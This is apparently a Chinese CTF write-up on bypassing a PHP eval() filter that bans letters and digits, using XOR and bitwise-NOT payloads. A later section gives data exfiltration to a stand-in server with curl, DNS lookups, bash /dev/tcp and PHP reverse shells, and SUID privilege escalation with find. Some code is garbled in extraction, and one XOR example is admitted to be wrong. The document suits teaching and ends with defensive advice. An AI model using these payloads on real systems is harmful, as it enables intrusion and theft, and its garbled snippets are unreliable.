PHP无字母数字RCE漏洞:异或与取反绕过技术详解

PHP无字母数字RCE漏洞:异或与取反绕过技术详解
1. 靶场环境与核心挑战解析拿到这个靶机第一眼看到“RCE ME”这个名字就知道它摆明了是道命令执行Remote Code Execution的挑战题。这类题目在CTF和渗透测试实战中非常经典核心目标就是突破过滤让服务器执行我们输入的任意命令。BUUCTF平台上的这道题环境通常是一个精心构造的、存在漏洞的PHP Web应用。我们面对的不是一个黑盒而是给出了部分或全部源代码要求我们进行代码审计找出漏洞点并构造利用链。这比单纯的黑盒测试多了一层“理解开发者意图”的乐趣也更能锻炼我们挖掘深层漏洞的能力。这道题的核心或者说所有RCE类题目的核心都围绕着“过滤与绕过”的博弈展开。出题人会设置一系列障碍比如禁用危险函数、过滤特殊字符、进行正则匹配检查等。而我们的任务就是像玩解谜游戏一样利用PHP语言的特性、系统环境的特性甚至是逻辑上的疏忽找到那条能让我们命令“溜过去”的缝隙。对于新手来说这可能有点 daunting令人畏惧但别担心我会把两种主流且有效的解题思路掰开揉碎了讲清楚让你不仅能解出这道题更能掌握这类问题的通用思考方法。2. 代码审计定位漏洞入口与过滤规则解题的第一步永远是仔细阅读代码。假设我们拿到的源码核心部分如下这是根据常见题型还原的典型结构?php error_reporting(0); if(isset($_GET[code])){ $code$_GET[code]; if(strlen($code)40){ die(This is too Long.); } if(preg_match(/[A-Za-z0-9]/,$code)){ die(NO.); } eval($code); } else{ highlight_file(__FILE__); } ?短短十几行代码信息量却极大。我们来逐行拆解error_reporting(0);关闭所有错误报告。这意味着我们无法通过报错信息来获取路径、函数禁用列表等额外信息增加了难度。if(isset($_GET[code])){检查是否存在名为code的GET参数。我们的攻击载荷就是通过?codepayload这种方式传递。if(strlen($code)40){ die(This is too Long.); }长度限制不能超过40个字符。这是一个非常苛刻的条件要求我们的Payload必须极其精简。if(preg_match(/[A-Za-z0-9]/,$code)){ die(NO.); }这是最核心的过滤规则。一个正则表达式匹配如果$code中包含任何字母A-Z, a-z或数字0-9程序就会直接终止并输出“NO.”。这几乎封死了所有常规的RCE手段因为无论是系统命令还是PHP函数都离不开字母和数字。eval($code);漏洞点本身。eval()函数会将其中的字符串参数当作PHP代码来执行。如果能绕过过滤我们就能在这里执行任意代码。如果没有code参数就高亮显示本文件源码。所以我们面临的挑战非常明确构造一个长度不超过40字符、且完全不包含任何字母和数字的字符串使其经过eval()执行后能实现远程命令执行的效果。注意在实际比赛中代码可能更复杂会有多层过滤或更诡异的规则。但审计的原则不变找到用户输入点$_GET,$_POST,$_COOKIE等跟踪数据流看清每一个处理函数如preg_match,str_replace,trim等最终看它是否进入了危险函数eval,assert,system,exec等。3. 方法一利用PHP异或运算生成字符无字母数字RCE既然不允许出现字母和数字我们得想办法“创造”出它们。PHP中有一个强大的特性字符串可以进行位运算比如异或XOR运算符^。3.1 异或运算的原理异或运算的规则是相同为0不同为1。对于字符来说是对其ASCII码进行二进制位的异或。关键点在于两个非字母数字的字符异或有可能产生一个字母或数字。例如字符~的ASCII码是126字符双引号的ASCII码是34。它们的二进制形式~(126):01111110(34):00100010对每一位进行异或结果01011100即十进制的92。ASCII码92对应的字符是\反斜杠。这仍然不是我们想要的。但如果我们用(34) 和# (35) 异或呢(34):00100010#(35):00100011结果00000001即十进制的1这是一个不可打印的控制字符也不是字母数字。所以我们需要系统地寻找那些异或后能产生我们所需字符如a-zA-Z0-9 以及构成函数名如systemcat等的字符对。这通常需要编写一个小脚本来暴力枚举。3.2 构造Payload的实战过程假设我们需要生成字符串system。我们需要为s,y,s,t,e,m每个字符都找到一对可打印的非字母数字字符使得它们的异或结果等于该字符。一个经典的技巧是利用PHP中{}或[]对字符串进行取位的特性。在PHP中$a^$b会对$a和$b两个字符串按位进行异或。如果长度不同短字符串会被用空字符补全。我们可以构造如下的Payload$_{{{^?/; // 这串字符异或后可能得到 _GET 或类似变量名 ${$_}[_](${$_}[__]); // 相当于 $_GET[_]($_GET[__])但上述Payload可能包含字母。更纯粹的无字母数字Payload需要精心构造。例如已知! ^ /可以得到G(因为!33,/47, 33^4714 不对这个例子是错的仅作示意)。实际上网上有公开的“无字母数字webshell”生成工具和Payload。一个非常著名的Payload是?$_{{{^?/;${$_}[_](${$_}[__]);?但我们的题目过滤了和?吗从给出的代码看只过滤了字母数字所以?和?是可以用的。不过我们的eval()执行环境通常不需要PHP标签。我们可以尝试构造一个更精简的。经过枚举我们可以找到这样的组合用~和异或出s可能很困难。更常见的做法是利用PHP允许用^连接字符串进行连续异或的特性以及使用不可见字符其ASCII码在1-31之间来参与运算这些不可见字符通常不被正则表达式[A-Za-z0-9]匹配。一个可行的构造思路先创造出一个能执行代码的函数名比如phpinfo或system。由于不能直接写我们通过变量赋值和异或来构造。例如$a !; $b Q; $a ^ $b得不到我们想要的。我们需要编写脚本。这里给出一个概念性的示例假设我们通过脚本找到了构造system的方法$func ^ }; // 假设得到 s $func . ^ }; // 假设得到 y ... 以此类推但实际上为了满足长度限制我们往往采取更巧妙的办法构造一个像$_GET[0]这样的变量名然后通过GET参数传递要执行的函数和命令。一个经典的、长度很短的Payload是?code$_{{{^?/;${$_}[_](${$_}[__]);让我们拆解$_{{{^?/;{{{和?/进行逐位异或。我们手动计算一下需要ASCII码表(96) ^?(63) 31 (不可见字符但可以作为变量名的一部分){(123) ^(62) 69 -E{(123) ^(60) 71 -G{(123) ^/(47) 84 -T所以$_变成了一个由四个字符组成的字符串第一个是ASCII 31不可见后三个是E、G、T。在PHP中当这个字符串被用作变量名时它会和$_GET超全局变量匹配因为PHP的变量名解析有这种特性。这相当于我们创造了一个$_GET的“别名”。${$_}[_](${$_}[__]);这行代码就变成了${某个等价于_GET的字符串}[_](${某个等价于_GET的字符串}[__]); 也就是$_GET[_]($_GET[__])。因此我们只需要在请求时带上两个参数_system__cat /flag。最终eval执行的代码就是system(cat /flag)。这个Payload的长度经过计算可以控制在40字符以内且完全不包含字母数字完美绕过过滤。3.3 实操步骤与注意事项本地测试在本地PHP环境中确保eval可用且安全模式关闭反复测试你的Payload。可以使用php -a进入交互模式进行快速测试。URL编码一些特殊字符如{}^等在URL中需要正确编码。{和}有时可以不编码但为了稳妥最好对整个Payload进行URL编码后再放入code参数。例如?code$_{{{^?/;${$_} _ ;需要编码。空格如果有要编码成或%20^编码为%5E等。使用Burp Suite的Decoder或在线工具很方便。参数传递在发起最终攻击请求时URL应该是这样的http://target.com/vuln.php?code%24%5F%3D%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24%5F%7D%5B%5F%5D%28%24%7B%24%5F%7D%5B%5F%5F%5D%29%3B_system__cat/flag这里code参数是编码后的Payload_和__是Payload内部期待的两个GET参数。命令执行结果如果成功页面会输出命令cat /flag的执行结果也就是flag的内容。如果没回显可能需要尝试其他命令如ls查看目录或者使用反弹shell的Payload。实操心得无字母数字RCE的关键在于对PHP字符串运算和变量解析机制的深刻理解。${}这种可变变量的用法是精髓。当过滤极其严格时甚至需要利用.连接符、~取反等运算符来构造字符。网上有现成的工具如php_webshell_ai可以帮助生成但理解原理才能应对变种题目。4. 方法二利用PHP取反运算符构造Payload如果说异或^是“创造”字符那么取反~就是“转换”字符。这是另一种强大的无字母数字RCE技术有时能构造出更短、更优雅的Payload。4.1 取反运算的原理PHP中的取反运算符~会对操作数的每一位二进制位进行取反0变11变0。对于一个字符串~会对其每个字符的ASCII码进行取反。例如~AA的ASCII是65二进制01000001取反后是10111110即十进制190对应字符¾扩展ASCII字符。更重要的是取反操作是可逆的。如果我们对¾再次取反就会得到A~~A还是A。那么如果我们能构造出一个字符串它的取反结果正好是我们想要的函数名呢例如我们想要system我们可以先计算出system每个字符取反后的结果s(115) - 取反 ~115 140 (对应字符Œ)y(121) - ~121 134 (†)s(115) - 140 (Œ)t(116) - 139 (‹)e(101) - 154 (š)m(109) - 146 (’)所以~Œ†Œ‹š’的结果就是system。但是Œ†Œ‹š’这些字符本身不是字母数字它们可以绕过过滤吗这取决于题目的过滤规则。如果题目只过滤了[A-Za-z0-9]那么这些扩展ASCII字符码值大于127是可以通过的。但很多CTF题目或WAF的默认配置可能会过滤掉所有非打印字符或ASCII码范围外的字符导致这种方法失效。不过在这道题给出的正则/[A-Za-z0-9]/下这些字符是可以通过的因为它们不在A-Za-z0-9范围内。4.2 构造与执行在PHP中我们可以这样写$func ~Œ†Œ‹š’; // $func 现在就是字符串 system $func(cat /flag); // 执行 system(cat /flag)但我们的Payload必须是一句话且不能有字母数字。我们可以利用.连接符和.的取反来构造。一个更巧妙的写法是(~Œ†Œ‹š’)(cat /flag);但这在语法上是不对的因为Œ†Œ‹š’不是一个合法的字符串字面量除非用双引号括起来但双引号里直接写这些字符也可能有问题。我们需要用另一种方式表示这些字符利用PHP中一个取反后的字符串常量其本身可以作为函数名被调用。实际上更常见的Payload格式是?code(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);这里%8C%86%8C%8B%9A%92是system取反后字符串的URL编码形式%93%8C%DF%D0是cat /flag或ls等命令取反后的URL编码形式。如何得到这些编码你需要写一个简单的PHP脚本?php echo urlencode(~system); // 输出 system 取反后的url编码 echo \n; echo urlencode(~cat /flag); // 输出 cat /flag 取反后的url编码 ?运行这个脚本就能得到上面那一串百分号编码。4.3 方法对比与选择异或方法更通用对字符集依赖较小主要利用可打印字符进行运算。Payload构造相对直观但有时长度不易控制。取反方法Payload通常更短因为(~xxxx)(~yyyy)这种形式非常精简。但它依赖于服务器能正确处理扩展ASCII字符即URL解码后得到的字节流在某些配置下可能出错。在这道题中由于过滤规则非常简单只禁字母数字两种方法都可行。取反法构造的Payload可能更短更容易满足40字符的限制。你可以都尝试一下。5. 扩展利用突破无回显与权限限制成功执行system(‘cat /flag’)拿到flag是这道题的标准答案。但在真实的渗透测试或更复杂的CTF题目中我们可能会遇到两个问题命令无回显system()、passthru()等函数执行后结果直接输出到页面。但如果题目关闭了标准输出或者执行的是像curl外带数据这类操作我们看不到结果。权限不足即使能执行命令当前Web进程通常是www-data用户权限很低无法读取/flag或/root/flag.txt。5.1 解决无回显问题——外带数据Out-of-Band当命令执行结果无法直接看到时我们需要想办法把数据“带出来”。常用方法DNS外带使用nslookup、dig或ping命令将执行结果作为域名的一部分发送到我们控制的DNS服务器。payload: system(‘curl http://your-server.com/‘.shell_exec(‘whoami’));更隐蔽的DNS方式system(‘ping -c 1whoami.your-domain.com’);然后在你的DNS日志里查看子域名记录。HTTP请求外带使用curl、wget甚至telnet发起HTTP请求将数据放在URL参数、Header或POST Body中。payload: system(‘curl -X POST http://your-server.com/ -d “data$(cat /flag|base64)”’);反向ShellReverse Shell最彻底的方法直接让目标服务器连接我们的监听端口获得一个交互式Shell。在攻击机上监听nc -lvnp 4444Payload:system(‘bash -c “bash -i /dev/tcp/your-ip/4444 01”’);(bash反向shell)或者使用php -r ‘$sockfsockopen(“your-ip”,4444);exec(“/bin/sh -i 3 3 23”);’(PHP反向shell)注意事项在CTF靶场中出题人可能故意禁用了外网连接使得OOB带外技术失效。这时就需要尝试其他方法比如写入一个Webshell到可访问目录然后通过浏览器访问或者利用命令执行的延时时间盲注来推断信息例如system(‘if [ -f /flag ]; then sleep 5; fi’);通过响应时间判断文件是否存在。5.2 解决权限问题——提权与目录遍历如果cat /flag返回“Permission denied”说明当前用户无权读取。寻找可读文件先使用system(‘find / -name *flag* -type f -readable 2/dev/null’);或system(‘ls -la /home /var/www’);寻找可能存放flag的其他位置。利用SUID提权查找具有SUID权限的可执行文件这些文件运行时拥有文件所有者的权限。system(‘find / -perm -us -type f 2/dev/null’);。如果找到像/bin/bash、/bin/cp、/bin/find等常见命令的SUID版本可以尝试利用它们来提权。例如已知的find提权system(‘find . -exec /bin/sh \; -quit’);。内核漏洞提权在更真实的环境中可以尝试上传本地提权利用脚本如linpeas.sh并执行或者使用uname -a查看内核版本后搜索公开的exp。但在CTF中这通常不是考点权限问题往往通过目录遍历就能解决。6. 防御视角如何避免此类RCE漏洞作为开发者了解攻击手法是为了更好地防御。从这道题我们可以学到以下几点永远不要使用eval()、assert()等函数执行用户输入这是铁律。如果业务逻辑必须动态执行代码请使用沙箱环境或严格的白名单机制。输入过滤与验证即使要过滤也不要使用简单的黑名单比如这道题只过滤字母数字。黑名单永远有被绕过的可能。应该采用白名单机制只允许预期的、安全的字符集。使用安全的替代函数如果需要执行系统命令使用escapeshellarg()或escapeshellcmd()对参数进行转义。如果需要动态调用函数使用call_user_func()并确保第一个参数函数名是可控的白名单。对于数学表达式使用intval()、floatval()确保类型或使用安全的解析库。禁用危险函数在php.ini中通过disable_functions指令禁用eval、assert、system、exec、passthru、shell_exec、popen、proc_open等函数可以极大增加攻击难度。最小权限原则运行Web服务的用户如www-data应该只有最低必要的权限不能读取敏感文件更不能写入可执行目录。7. 总结与思维提升回顾这道[极客大挑战 2019]RCE ME它从一个极其简单的eval()漏洞出发通过一层“无字母数字”的过滤将难度提升到了代码审计和PHP语言特性利用的层面。解题的两种核心方法——异或和取反本质上都是利用了PHP在字符串处理和变量解析上的灵活性。对于CTF选手和渗透测试人员来说这道题的价值在于训练了一种“绕过”思维。当正面路径被阻断时我们要学会深入理解过滤规则正则表达式/[A-Za-z0-9]/到底匹配什么.、^、~、$、{、}这些符号是否被允许挖掘语言特性PHP的位运算、可变变量、字符串解析顺序、类型转换的“怪癖”比如abc 0为真这些都可能成为绕过的武器。利用环境特性是否允许使用反引号执行命令phpinfo()是否可用以获取禁用函数列表是否有可写的临时目录我个人在实战和CTF中有一个习惯遇到过滤首先尝试最基础的Payload观察返回的错误信息如果有的話。然后像剥洋葱一样一层层尝试绕过。从最简单的空格绕过用${IFS}、、、%09等到管道符、分号再到无字母数字的终极技巧。每次成功的绕过都是对技术和思维的一次提升。最后再分享一个排查技巧当你构造的复杂Payload不生效时不妨先简化。比如先尝试?codeecho 1;看看eval是否真的执行。然后逐步增加复杂度?codeprint_r(scandir(‘.’));看看当前目录。这样能帮你快速定位问题是出在命令执行本身还是出在后续的过滤或权限上。记住复杂的问题往往需要拆解成简单的步骤来验证。

最新新闻

日新闻

周新闻

月新闻